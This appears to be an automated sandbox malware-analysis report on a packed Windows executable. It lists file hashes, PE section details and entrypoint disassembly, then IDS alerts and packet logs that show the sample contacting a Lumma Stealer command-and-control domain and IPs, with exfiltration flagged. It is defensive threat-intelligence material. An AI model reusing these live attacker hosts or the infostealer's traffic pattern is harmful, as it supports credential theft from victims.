Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.875
Encrypted:	false
SSDEEP:	3:HMB:k
MD5:	0B04EA412F8FC88B51398B1CBF38110E
SHA1:	E073BCC5A03E7BBA2A16CF201A3CED1BE7533FBF
SHA-256:	7562254FF78FD854F0A8808E75A406F5C6058B57B71514481DAE490FC7B8F4C3
SHA-512:	6D516068C3F3CBFC1500032E600BFF5542EE30C0EAC11A929EE002C707810BBF614A5586C2673EE959AFDF19C08F6EAEFA18193AD6CEDC839BDF249CF95E8079
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISEAkEurwx6c-nJBIFDb_mJfI=?alt=proto
Preview:	CgkKBw2/5iXyGgA=

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65410)
Category:	dropped
Size (bytes):	207935
Entropy (8bit):	5.420780972514107
Encrypted:	false
SSDEEP:	3072:Wx2fZBMb0y0Xi13tL9+pjXDMe/m7GG3/lHNVliMTqwK:Wof3G0NSkNzMeO7z/l3lhTa
MD5:	3DE400B2682E30C3F33FA4B93116491F
SHA1:	BC48B898DF43BA2178DE28F5A29D977B2204F846
SHA-256:	84E9EAD32EFA16BE0D5B2407F799FC3DAE497BCB4A90758C0106C8D8F55003FE
SHA-512:	D4004E4A62A81116D346B7A7F95FC67F97A258E82B3BDDBF4A9F28CEBB633E4A336A17057A765DA306AD9B1E40A99FE349D698B095A6F386B9CDF4A46457FC06
Malicious:	false
Preview:	/!. 1DS JSLL SKU, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&define.amd)define(["exports"],t);else{var r,i,e=typeof globalThis!=n?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_jsll_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},p=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),t(a),a)r="x",f[i]=a[i],p[i]=s,typeof d[i]==n?(r="n",(d[i]=a[i])&&(g[i]=s)):g[i]\|\|(g[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(f){"use strict";var d="function",p="object",se="undefined",ie="prototype",g=Object,h=g[ie];function y(e,t){return e\|\|t}var C,Ce=undefined,m=null,b="",T="function",I="object",E="prototype",_="__proto__",S="undefined",x="constructor",N="Symbol",D="_polyfill",A="length",w="name",be="call",k="toString",P=y(Object),O=P[E]

Chrome Cache Entry: 96

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	27868
Entropy (8bit):	5.155680085584642
Encrypted:	false
SSDEEP:	768:63ZUfTvLg6jLjnjrjGjXMQjtzjMFzXY8v1gWj/rlOVqnACpK3o3hhl0OU2/8BlsX:BTvL7HBJv11pOVqlh382/rIN1Y
MD5:	0A0F2E1CCB8E5F7C38CB11B101A8941F
SHA1:	112F4B7CB3DEDB9D9744CAC000E05DC949E89891
SHA-256:	DBDB03D01BA044C4072BBC169C1E54D05A3D89623D2EBEAC28AC89ABDA3ABC2A
SHA-512:	9BD4E9C2415FB62E55D04DDEB9ECE04CB9AE2B8F8B93632A11A0AFD1CE6A632DF7D58DD571BF34C6E8E99107E80340CFAFF4BB4A8E18D05B5CAA7445DE55839C
Malicious:	false
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 97

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65410)
Category:	downloaded
Size (bytes):	207935
Entropy (8bit):	5.420780972514107
Encrypted:	false
SSDEEP:	3072:Wx2fZBMb0y0Xi13tL9+pjXDMe/m7GG3/lHNVliMTqwK:Wof3G0NSkNzMeO7z/l3lhTa
MD5:	3DE400B2682E30C3F33FA4B93116491F
SHA1:	BC48B898DF43BA2178DE28F5A29D977B2204F846
SHA-256:	84E9EAD32EFA16BE0D5B2407F799FC3DAE497BCB4A90758C0106C8D8F55003FE
SHA-512:	D4004E4A62A81116D346B7A7F95FC67F97A258E82B3BDDBF4A9F28CEBB633E4A336A17057A765DA306AD9B1E40A99FE349D698B095A6F386B9CDF4A46457FC06
Malicious:	false
URL:	https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Preview:	/!. 1DS JSLL SKU, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&define.amd)define(["exports"],t);else{var r,i,e=typeof globalThis!=n?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_jsll_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},p=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),t(a),a)r="x",f[i]=a[i],p[i]=s,typeof d[i]==n?(r="n",(d[i]=a[i])&&(g[i]=s)):g[i]\|\|(g[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(f){"use strict";var d="function",p="object",se="undefined",ie="prototype",g=Object,h=g[ie];function y(e,t){return e\|\|t}var C,Ce=undefined,m=null,b="",T="function",I="object",E="prototype",_="__proto__",S="undefined",x="constructor",N="Symbol",D="_polyfill",A="length",w="name",be="call",k="toString",P=y(Object),O=P[E]

Chrome Cache Entry: 98

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	27868
Entropy (8bit):	5.155680085584642
Encrypted:	false
SSDEEP:	768:63ZUfTvLg6jLjnjrjGjXMQjtzjMFzXY8v1gWj/rlOVqnACpK3o3hhl0OU2/8BlsX:BTvL7HBJv11pOVqlh382/rIN1Y
MD5:	0A0F2E1CCB8E5F7C38CB11B101A8941F
SHA1:	112F4B7CB3DEDB9D9744CAC000E05DC949E89891
SHA-256:	DBDB03D01BA044C4072BBC169C1E54D05A3D89623D2EBEAC28AC89ABDA3ABC2A
SHA-512:	9BD4E9C2415FB62E55D04DDEB9ECE04CB9AE2B8F8B93632A11A0AFD1CE6A632DF7D58DD571BF34C6E8E99107E80340CFAFF4BB4A8E18D05B5CAA7445DE55839C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/banners/index.json
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-recommended-changes.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.946560280097011
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	bzzF5OFbVi.exe
File size:	1'849'856 bytes
MD5:	00fd88b1eada904e06f23909f142caf6
SHA1:	69737b7a01bee4d13924be916482e14ec780bd9f
SHA256:	3639435bd811a8f355795a3cef8c0960d6e363efd692a84db1f8e87a3244389a
SHA512:	35ccc9d407ab19018eddfad6b6eb57a4671d13247fa505724df127f80e7cbde8df328bbed3eac68bcd98cf4280e5594e1746820d442d634d95fce161af7afbd1
SSDEEP:	49152:RalHdTgQPOrz93GnVS2TjzLyQ8waa12HeRBxqbIww:AX0QPOVWVSQzLT8WyeRGbIww
TLSH:	E485330DDF034E32D60AB733D5FA6664397ECA44253C58A43ACDA02851772A7B6B63F4
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L... .pg..............................I...........@..........................@I...........@.................................Y@..m..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x891000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x67701720 [Sat Dec 28 15:20:00 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FB180B0F08Ah
prefetchT2 byte ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007FB180B11085h
add byte ptr [0000000Ah], al
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ebx], cl
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [esi], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add eax, 0000000Ah
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add bh, bh
inc dword ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add eax, 0000000Ah
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or al, 80h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x54059	0x6d	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x53000	0x2b0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x541f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x52000	0x26000	eaf319c39cb6af837ca5915a492d37f3	False	0.9998265316611842	data	7.978757981548001	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x53000	0x2b0	0x200	9282c1add257c4175df77174284f4e92	False	0.798828125	data	6.000944522996275	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x54000	0x1000	0x200	39a711a7d804ccbc2a14eea65cf3c27e	False	0.154296875	data	1.0789976601211375	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x55000	0x2a1000	0x200	9d1307628c72f9ec8dc373573ac45f12	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
masaydru	0x2f6000	0x19a000	0x199c00	bc4c05358cc9bebdfcc5dfbec531bb21	False	0.9945863045302014	data	7.953355017046754	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
vstbxnot	0x490000	0x1000	0x600	3d911afd760fb640348e6b401eb0bf8a	False	0.5553385416666666	data	4.910904553681575	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x491000	0x3000	0x2200	00e99b3b2ddb4c4b040a8c7af9c00e4a	False	0.061236213235294115	DOS executable (COM)	0.8385618866666789	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x48f890	0x256	ASCII text, with CRLF line terminators			0.5100334448160535

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-31T09:48:26.389002+0100	2058656	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fancywaxxers .shop)	1	192.168.2.5	63174	1.1.1.1	53	UDP
2024-12-31T09:48:27.049064+0100	2058657	ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI)	1	192.168.2.5	49704	104.21.64.1	443	TCP
2024-12-31T09:48:27.049064+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49704	104.21.64.1	443	TCP
2024-12-31T09:48:27.433251+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49704	104.21.64.1	443	TCP
2024-12-31T09:48:27.433251+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49704	104.21.64.1	443	TCP
2024-12-31T09:48:27.918205+0100	2058657	ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI)	1	192.168.2.5	49705	104.21.64.1	443	TCP
2024-12-31T09:48:27.918205+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49705	104.21.64.1	443	TCP
2024-12-31T09:48:28.375127+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	49705	104.21.64.1	443	TCP
2024-12-31T09:48:28.375127+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49705	104.21.64.1	443	TCP
2024-12-31T09:48:29.223799+0100	2058657	ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI)	1	192.168.2.5	49706	104.21.64.1	443	TCP
2024-12-31T09:48:29.223799+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49706	104.21.64.1	443	TCP
2024-12-31T09:48:32.728502+0100	2058657	ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI)	1	192.168.2.5	49707	104.21.64.1	443	TCP
2024-12-31T09:48:32.728502+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49707	104.21.64.1	443	TCP
2024-12-31T09:48:34.528895+0100	2058657	ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI)	1	192.168.2.5	49708	104.21.64.1	443	TCP
2024-12-31T09:48:34.528895+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49708	104.21.64.1	443	TCP
2024-12-31T09:48:36.152024+0100	2058657	ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI)	1	192.168.2.5	49709	104.21.64.1	443	TCP
2024-12-31T09:48:36.152024+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49709	104.21.64.1	443	TCP
2024-12-31T09:48:36.596268+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	49709	104.21.64.1	443	TCP
2024-12-31T09:48:37.501890+0100	2058657	ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI)	1	192.168.2.5	49710	104.21.64.1	443	TCP
2024-12-31T09:48:37.501890+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49710	104.21.64.1	443	TCP
2024-12-31T09:48:40.688889+0100	2058657	ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI)	1	192.168.2.5	49714	104.21.64.1	443	TCP
2024-12-31T09:48:40.688889+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49714	104.21.64.1	443	TCP
2024-12-31T09:48:41.154632+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49714	104.21.64.1	443	TCP
2024-12-31T09:48:41.874208+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.5	49716	185.215.113.16	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 31, 2024 09:48:26.415035963 CET	49704	443	192.168.2.5	104.21.64.1
Dec 31, 2024 09:48:26.415091038 CET	443	49704	104.21.64.1	192.168.2.5
Dec 31, 2024 09:48:26.415193081 CET	49704	443	192.168.2.5	104.21.64.1
Dec 31, 2024 09:48:26.417017937 CET	49704	443	192.168.2.5	104.21.64.1
Dec 31, 2024 09:48:26.417031050 CET	443	49704	104.21.64.1	192.168.2.5
Dec 31, 2024 09:48:27.048994064 CET	443	49704	104.21.64.1	192.168.2.5
Dec 31, 2024 09:48:27.049063921 CET	49704	443	192.168.2.5	104.21.64.1
Dec 31, 2024 09:48:27.054477930 CET	49704	443	192.168.2.5	104.21.64.1
Dec 31, 2024 09:48:27.054496050 CET	443	49704	104.21.64.1	192.168.2.5
Dec 31, 2024 09:48:27.054857969 CET	443	49704	104.21.64.1	192.168.2.5
Dec 31, 2024 09:48:27.096424103 CET	49704	443	192.168.2.5	104.21.64.1
Dec 31, 2024 09:48:27.138375998 CET	49704	443	192.168.2.5	104.21.64.1
Dec 31, 2024 09:48:27.138453960 CET	49704	443	192.168.2.5	104.21.64.1
Dec 31, 2024 09:48:27.138669014 CET	443	49704	104.21.64.1	192.168.2.5
Dec 31, 2024 09:48:27.433254957 CET	443	49704	104.21.64.1	192.168.2.5
Dec 31, 2024 09:48:27.433340073 CET	443	49704	104.21.64.1	192.168.2.5
Dec 31, 2024 09:48:27.433425903 CET	49704	443	192.168.2.5	104.21.64.1
Dec 31, 2024 09:48:27.441951036 CET	49704	443	192.168.2.5	104.21.64.1
Dec 31, 2024 09:48:27.441967010 CET	443	49704	104.21.64.1	192.168.2.5
Dec 31, 2024 09:48:27.442004919 CET	49704	443	192.168.2.5	104.21.64.1
Dec 31, 2024 09:48:27.442009926 CET	443	49704	104.21.64.1	192.168.2.5
Dec 31, 2024 09:48:27.454122066 CET	49705	443	192.168.2.5	104.21.64.1
Dec 31, 2024 09:48:27.454170942 CET	443	49705	104.21.64.1	192.168.2.5
Dec 31, 2024 09:48:27.454253912 CET	49705	443	192.168.2.5	104.21.64.1
Dec 31, 2024 09:48:27.455034971 CET	49705	443	192.168.2.5	104.21.64.1
Dec 31, 2024 09:48:27.455041885 CET	443	49705	104.21.64.1	192.168.2.5
Dec 31, 2024 09:48:27.917916059 CET	443	49705	104.21.64.1	192.168.2.5
Dec 31, 2024 09:48:27.918205023 CET	49705	443	192.168.2.5	104.21.64.1
Dec 31, 2024 09:48:27.927325964 CET	49705	443	192.168.2.5	104.21.64.1
Dec 31, 2024 09:48:27.927361012 CET	443	49705	104.21.64.1	192.168.2.5
Dec 31, 2024 09:48:27.927606106 CET	443	49705	104.21.64.1	192.168.2.5
Dec 31, 2024 09:48:27.929075003 CET	49705	443	192.168.2.5	104.21.64.1
Dec 31, 2024 09:48:27.929101944 CET	49705	443	192.168.2.5	104.21.64.1
Dec 31, 2024 09:48:27.929152966 CET	443	49705	104.21.64.1	192.168.2.5
Dec 31, 2024 09:48:28.375121117 CET	443	49705	104.21.64.1	192.168.2.5
Dec 31, 2024 09:48:28.375164032 CET	443	49705	104.21.64.1	192.168.2.5
Dec 31, 2024 09:48:28.375190973 CET	443	49705	104.21.64.1	192.168.2.5
Dec 31, 2024 09:48:28.375212908 CET	49705	443	192.168.2.5	104.21.64.1
Dec 31, 2024 09:48:28.375216961 CET	443	49705	104.21.64.1	192.168.2.5
Dec 31, 2024 09:48:28.375241041 CET	443	49705	104.21.64.1	192.168.2.5
Dec 31, 2024 09:48:28.375257969 CET	49705	443	192.168.2.5	104.21.64.1
Dec 31, 2024 09:48:28.375272989 CET	443	49705	104.21.64.1	192.168.2.5
Dec 31, 2024 09:48:28.375292063 CET	443	49705	104.21.64.1	192.168.2.5
Dec 31, 2024 09:48:28.375308990 CET	49705	443	192.168.2.5	104.21.64.1
Dec 31, 2024 09:48:28.375323057 CET	443	49705	104.21.64.1	192.168.2.5
Dec 31, 2024 09:48:28.375361919 CET	49705	443	192.168.2.5	104.21.64.1
Dec 31, 2024 09:48:28.375366926 CET	443	49705	104.21.64.1	192.168.2.5
Dec 31, 2024 09:48:28.375715017 CET	443	49705	104.21.64.1	192.168.2.5
Dec 31, 2024 09:48:28.375740051 CET	443	49705	104.21.64.1	192.168.2.5
